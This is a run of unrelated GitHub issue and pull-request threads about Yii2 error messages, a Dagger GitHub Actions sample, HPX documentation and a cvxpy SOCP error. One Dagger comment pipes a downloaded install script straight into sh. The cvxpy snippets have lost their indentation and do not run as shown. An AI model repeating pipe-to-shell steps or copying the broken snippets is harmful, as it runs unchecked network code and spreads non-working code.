Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

smt/applications/mixed_integer.py
2
4
50.0%

Totals

Change from base Build<PHONE_NUMBER>:
-0.03%

Covered Lines:
5163

Relevant Lines:
5806

💛  - Coveralls


Allow Html error messages in addError and addErrors

Some times in need to add html links or tags inside the error messages, i believe this worth to be added.

use template https://github.com/yiisoft/yii2/blob/master/framework/widgets/ActiveField.php#L55
'{error}'

also u can deny encode
'errorOptions' => ['encode' => false]

<?php $form = ActiveForm::begin(['encodeErrorSummary' => false]); ?>

this worked fine.
Thanks.


Redirect to home on successful login

Hi,
Please on successful login, the user should be redirected to home page where they can view shops
-- history.push('/')
++ history.push('/home')

This commit e68dbfa4a92a52c9ffe8a8b5e7f0e7131f18fbc0 has fixed this issue.
Thanks 🙏


fixed the sample github action in the documentation

The sample GitHub action in the documentation did not work due to go packages not being installed before the deploy script.
This is a working sample and suits the documentation better, imo.
You can see the trial and errors here:  https://github.com/ekinbarut/dagger_test/actions

Hello, thanks for your contribution 😇
Did you push to your repo the packages and the cue.mod created with the init and the update ?
As you seem to have understood with your PR, it's the reason why it didn't work on your case. You did the init and update in the CI, but pushing them to the repo could also be a possibility.
I don't have a strong opinion on the best practice. However, you're right: the way this action is built implies that the best practice is indeed to push the packages

Hi @ekinbarut ! many thanks for your contribution :). By the way, we have a contributing guide if you want to have a look 👀 . Usually when we create PR from our fork, we create branch first. Again thanks for your time.

@grouville I don't have a strong opinion on where to handle that either, first thing that came to my mind was to solve it using CI. General feedback as a user would be that it'd be great if dagger project init & dagger project update is mentioned somewhere in the "getting started" part for a smooth first experience.

Hi @ekinbarut, thank you for mentioning this!
In the original context - pkg/universe.dagger.io/examples/todoapp - this is not necessary. The todoapp app is already in the context of a project, and all the packages that it needs are already there.
Double-checking this now in a fresh Linux container with bash, curl, docker & git pre-installed:
docker run -it -v /var/run/docker.sock:/var/run/docker.sock --rm \
  nixery.dev/shell/coreutils/curl/docker/git/gnugrep/gnutar/gzip

curl -L https://dl.dagger.io/dagger/install.sh | sh
# ...
type dagger
# dagger is /bin/dagger
dagger version
# dagger 0.2.4 (b32c8732) linux/amd64

mkdir -p github.com/dagger
cd github.com/dagger
git clone https://github.com/dagger/dagger
cd dagger/pkg/universe.dagger.io/examples/todoapp
pwd
# /github.com/dagger/dagger/pkg/universe.dagger.io/examples/todoapp

dagger do build
# [✔] actions.build.run.script                                      0.2s
# [✔] actions.deps                                                 23.0s
# [✔] actions.test.script                                           0.2s
# [✔] client.filesystem."./".read                                   0.3s
# [✔] actions.test                                                  0.8s
# [✔] actions.build.run                                             4.8s
# [✔] actions.build.contents                                        0.1s
# [✔] client.filesystem."./_build".write                            0.0s
# ☝🏻 Everything works OK, no dagger project init required

OK, so once the todoapp example is taken out of the original context, your GitHub Actions runs show what happens - thank you for sharing those btw!
I have noticed the same approach in the GitLab example - https://github.com/dagger/dagger/pull/1949 - so I know that we definitely need to improve this. While these changes are a step in the right direction, they do require a few changes. Let me add those as inline comments on docs/tests/getting-started/github-actions.yml

I don't have a strong opinion on the best practice. However, you're right: the way this action is built implies that the best practice is indeed to push the packages. Wdyt @helderco ?

After working in web development for a number of years, and using several different package managers, I usually frown uppon commiting dependencies to git, assuming there's a lock file.
So project init: yes, commit but keep the pkg/.gitignore. Only do the project update, but this should be cached and you should pin your dependencies.

@helderco my understanding is:
✅ project update
❌ project init
That means that this requires the following changes @ekinbarut before we can merge:

[ ] Pin dagger version to 0.2 in dagger/dagger-for-github@v2
[ ] Remove project init

Is there anything else that I have missed @helderco @TomChv?

Is there anything else that I have missed @helderco @TomChv?

I think it's ok, but I'm not sure that external package will be kept on dagger update?
For instance what happens if you write a package in cue.mod/usr, will it be overridden?

Is there anything else that I have missed @helderco @TomChv?

To pin external dependencies, you add them with a git tag: dagger project update<EMAIL_ADDRESS>You should see this reflected in cue.mod/dagger.{mod,sum}.

what happens if you write a package in cue.mod/usr, will it be overridden?

No, packages are installed in cue.mod/pkg. If you're working on something not yet published then you can put it in usr and commit to git, don't put it in pkg.

@helderco my understanding is:
✅ project update ❌ project init
That means that this requires the following changes @ekinbarut before we can merge:

[ ]  Pin dagger version to 0.2 in dagger/dagger-for-github@v2
[ ]  Remove project init from the GitHub workflow
[ ]  Mention needing to run project init locally & committing cue.mod file, see this comment

Is there anything else that I have missed @helderco @TomChv?

and

To pin external dependencies, you add them with a git tag: dagger project update<EMAIL_ADDRESS>You should see this reflected in cue.mod/dagger.{mod,sum}. So the global dagger project update in CI should just install that exact version.

[x]  Pin dagger version to 0.2 in dagger/dagger-for-github@v2
[x]  Remove project init from the GitHub workflow
[x]  Mention needing to run project init locally & committing cue.mod file, see this comment

Those were the required updates as far as I've understood. Did I miss any?

No, packages are installed in cue.mod/pkg. If you're working on something not yet published then you can put it in usr and commit to git, don't put it in pkg.

Is it explained somewhere? It's really important to know that


Add quickstart section to documentation

This adds a quick start section to the beginning of the documentation.

It goes through the basics of building HPX and a single node application using HPX, links to relevant parts of documentation (nothing new)
Adds another simplest hello world which uses hpx::init explicitly
Adds a small example which uses async, futures, when_all, then and parallel algorithms

Great examples! Thank you very much.


'Problem' object has no attribute '_compute_once_is_mixed_integer'

import numpy as np
import scipy.io as sio
import cvxpy as cp
filename = 'channel'
var_name = 'H'
data = sio.loadmat(file_name=filename+'.mat')
H = data[var_name]
antennas, UE, Bs = np.shape(H)
H_ = np.zeros([antennas * Bs, UE], dtype='D')
for i in range(UE):
H_[:, i] = np.reshape(H[:, i, :], antennas * Bs, order='F').T
print(H_)
sigma = 1
gamma = 10
Pc =100
w = cp.Variable((antennas * Bs, UE), complex=True)
Pw = cp.Variable(Bs)
constr = []
for m in range(UE):
e = np.eye(UE, UE)
e[m, m] = 0
constr += [cp.SOC(np.real(H_[:, m].T @ w[:, m]) / np.sqrt(gamma), np.hstack((H_[:, m].T @ w @ e, sigma))),
np.imag(H_[:, m].T @ w[:, m]) == 0]
for q in range(Bs):
constr += [cp.norm(w[(q-1)antennas+1:qantennas, :], 'fro') <= Pw[q], Pw[q] <= np.sqrt(Pc)]
prob = cp.Problem(cp.Minimize(cp.sum(Pw)), constr)
prob.solve()
print('Optimal value:', prob.value)
Here I want solve a SOCP problem in communication field. However the Interpreter keep rising the error:'''Problem' object has no attribute '_compute_once_is_mixed_integer' '' and '''numpy.ndarray' object has no attribute 'variables' ''. I don't know what the error means. Have anyone ever went through this? How to fix the problem?

Could you post a code snippet that we can run?

import numpy as np
import scipy.io as sio
import cvxpy as cp
antennas, UE, Bs = 2, 3, 2
H_= [[0.05221169+0.02236014j, 0.11507819+0.23286528j, 0.04240248+0.05163106j],
[0.0647228 +0.12858326j, 0.27416864+0.36640208j, 0.01989594+0.07813894j],
[0.62388787+0.62330062j, 0.02298837+0.03943087j, 0.03940723+0.01719871j],
[0.63787985+0.2536698j,  0.16819581+0.2366397j,  0.15092605+0.1541783j]]
sigma = 1.
gamma = 1.
Pc =100.
w = cp.Variable((antennas * Bs, UE), complex=True)
Pw = cp.Variable(Bs)
constr = []
for m in range(UE):
e = np.eye(UE, UE)
e[m, m] = 0
constr += [cp.SOC(np.real(H_[:, m].T @ w[:, m]) / np.sqrt(gamma), np.hstack((H_[:, m].T @ w @ e, sigma))),
np.imag(H_[:, m].T @ w[:, m]) == 0]
for q in range(Bs):
constr += [cp.norm(w[q*antennas:(q+1)*antennas, :], 'fro') <= Pw[q], Pw[q] <= np.sqrt(Pc)]
print(constr)
prob = cp.Problem(cp.Minimize(cp.sum(Pw)), constr)
print(prob)
print(prob.is_dcp())
prob.solve()
print('Optimal value:', prob.value)
It's so weird! I put array 'H_' explicitly in the snippet then the Interpreter returned a different type error. Why does that happen？I'm completely confuesd.

Could you post a code snippet that we can run?
import numpy as np
import scipy.io as sio
import cvxpy as cp
antennas, UE, Bs = 2, 3, 2
H_= np.mat([[0.05221169+0.02236014j, 0.11507819+0.23286528j, 0.04240248+0.05163106j],
[0.0647228 +0.12858326j, 0.27416864+0.36640208j, 0.01989594+0.07813894j],
[0.62388787+0.62330062j, 0.02298837+0.03943087j, 0.03940723+0.01719871j],
[0.63787985+0.2536698j,  0.16819581+0.2366397j,  0.15092605+0.1541783j]])

sigma = 1.
gamma = 1.
Pc =100.
w = cp.Variable((antennas * Bs, UE), complex=True)
Pw = cp.Variable(Bs)
constr = []
for m in range(UE):
e = np.mat(np.eye(UE, UE))
e[m, m] = 0
t = H_[:, m].T @ w[:, m]
x = np.hstack((H_[:, m].T @ w @ e, sigma))
constr += [cp.SOC(t / np.sqrt(gamma), x), np.imag(H_[:, m].T @ w[:, m]) == 0]
for q in range(Bs):
constr += [cp.norm(w[q*antennas:(q+1)*antennas, :], 'fro') <= Pw[q], Pw[q] <= np.sqrt(Pc)]
print(constr)
prob = cp.Problem(cp.Minimize(cp.sum(Pw)), constr)
print(prob)
print(prob.is_dcp())
prob.solve()
print('Optimal value:', prob.value)

Could you post a code snippet that we can run?

import numpy as np
import scipy.io as sio
import cvxpy as cp
antennas, UE, Bs = 2, 3, 2
H_= np.mat([[0.05221169+0.02236014j, 0.11507819+0.23286528j, 0.04240248+0.05163106j],
[0.0647228 +0.12858326j, 0.27416864+0.36640208j, 0.01989594+0.07813894j],
[0.62388787+0.62330062j, 0.02298837+0.03943087j, 0.03940723+0.01719871j],
[0.63787985+0.2536698j,  0.16819581+0.2366397j,  0.15092605+0.1541783j]])
sigma = 1.
gamma = 1.
Pc =100.
w = cp.Variable((antennas * Bs, UE), complex=True)
Pw = cp.Variable(Bs)
constr = []
for m in range(UE):
e = np.mat(np.eye(UE, UE))
e[m, m] = 0
t =np.real(H_[:, m].T @ w[:, m])
x = np.hstack((H_[:, m].T @ w @ e, sigma))
constr += [cp.SOC(t / cp.sqrt(gamma), x), np.imag(H_[:, m].T @ w[:, m]) == 0]
for q in range(Bs):
constr += [cp.norm(w[q*antennas:(q+1)*antennas, :], 'fro') <= Pw[q], Pw[q] <= np.sqrt(Pc)]
print(constr)
prob = cp.Problem(cp.Minimize(cp.sum(Pw)), constr)
print(prob)
print(prob.is_dcp())
prob.solve()
print('Optimal value:', prob.value)
I think the problem is that I try to abstract the real part and imaginary part of the intermidiate result using np.real() and np.imag. But how can I realize that operation using only cvx atomic functions？I’ve read the cvxpy tutorial and failed to find such a function. Is there any other way?

Could you post a code snippet that we can run?

import numpy as np
import scipy.io as sio
import cvxpy as cp
antennas, UE, Bs = 2, 3, 2
H_ = np.mat([[0.05221169+0.02236014j, 0.11507819+0.23286528j, 0.04240248+0.05163106j],
[0.0647228 +0.12858326j, 0.27416864+0.36640208j, 0.01989594+0.07813894j],
[0.62388787+0.62330062j, 0.02298837+0.03943087j, 0.03940723+0.01719871j],
[0.63787985+0.2536698j,  0.16819581+0.2366397j,  0.15092605+0.1541783j]])
sigma = [[1.]]
gamma = 1.
Pc =100.
w = cp.Variable((antennas * Bs, UE), complex=True)
Pw = cp.Variable(Bs)
constr = []
for m in range(UE):
e = np.mat(np.eye(UE, UE))
e[m, m] = 0
t = cp.real(H_[:, m].H @ w[:, m])
x = cp.hstack((H_[:, m].H @ w @ e, sigma))
constr += [cp.SOC(t / cp.sqrt(gamma), x), cp.imag(H_[:, m].H @ w[:, m]) == 0]
for q in range(Bs):
constr += [cp.norm(w[q*antennas:(q+1)*antennas, :], 'fro') <= Pw[q], Pw[q] <= cp.sqrt(Pc)]
print(constr)
prob = cp.Problem(cp.Minimize(cp.sum(Pw)), constr)
print(prob)
print(prob.is_dcp())
prob.solve()
print('Optimal value:', prob.value)

Could you post a code snippet that we can run?

import numpy as np
import scipy.io as sio
import cvxpy as cp
antennas, UE, Bs = 2, 3, 2
H_ = np.mat([[0.05221169+0.02236014j, 0.11507819+0.23286528j, 0.04240248+0.05163106j],
[0.0647228 +0.12858326j, 0.27416864+0.36640208j, 0.01989594+0.07813894j],
[0.62388787+0.62330062j, 0.02298837+0.03943087j, 0.03940723+0.01719871j],
[0.63787985+0.2536698j,  0.16819581+0.2366397j,  0.15092605+0.1541783j]])
sigma = [[1.]]
gamma = 1.
Pc =100.
w = cp.Variable((antennas * Bs, UE), complex=True)
Pw = cp.Variable(Bs)
constr = []
for m in range(UE):
e = np.mat(np.eye(UE, UE))
e[m, m] = 0
t = cp.real(H_[:, m].H @ w[:, m])
x = cp.hstack((H_[:, m].H @ w @ e, sigma))
constr += [cp.SOC(t / cp.sqrt(gamma), x), cp.imag(H_[:, m].H @ w[:, m]) == 0]
for q in range(Bs):
constr += [cp.norm(w[q*antennas:(q+1)*antennas, :], 'fro') <= Pw[q], Pw[q] <= cp.sqrt(Pc)]
print(constr)
prob = cp.Problem(cp.Minimize(cp.sum(Pw)), constr)
print(prob)
print(prob.is_dcp())
prob.solve()
print('Optimal value:', prob.value)
It satisfies the DCP rule but AssertionError arises. I don't know what's that mean. What kinds of factors can lead to such error ? And how can I dug it?

Could you post a code snippet that we can run?
import numpy as np
import scipy.io as sio
import cvxpy as cp
antennas, UE, Bs = 2, 3, 2
H_ = np.mat([[0.05221169+0.02236014j, 0.11507819+0.23286528j, 0.04240248+0.05163106j],
[0.0647228 +0.12858326j, 0.27416864+0.36640208j, 0.01989594+0.07813894j],
[0.62388787+0.62330062j, 0.02298837+0.03943087j, 0.03940723+0.01719871j],
[0.63787985+0.2536698j,  0.16819581+0.2366397j,  0.15092605+0.1541783j]])

sigma = [[1.]]
gamma = 1.
Pc =100.
w = cp.Variable((antennas * Bs, UE), complex=True)
Pw = cp.Variable(Bs)
constr = []
for m in range(UE):
e = np.mat(np.eye(UE, UE))
e[m, m] = 0
t = cp.real(H_[:, m].H @ w[:, m])
x = cp.hstack((H_[:, m].H @ w @ e, sigma))
constr += [cp.SOC(t / cp.sqrt(gamma), x), cp.imag(H_[:, m].H @ w[:, m]) == 0]
for q in range(Bs):
constr += [cp.norm(w[q*antennas:(q+1)*antennas, :], 'fro') <= Pw[q], Pw[q] <= cp.sqrt(Pc)]
print(constr)
prob = cp.Problem(cp.Minimize(cp.sum(Pw)), constr)
print(prob)
print(prob.is_dcp())
prob.solve()
print('Optimal value:', prob.value)
It satisfies the DCP rule but AssertionError arises. I don't know what's that mean. What kinds of factors can lead to such error ? And how can I dug it?

I need to extract the real part and imaginary part of the intermediate result. But cp.real and cp.imag seems not to work the way I thought. Is there other way to achieve this operation?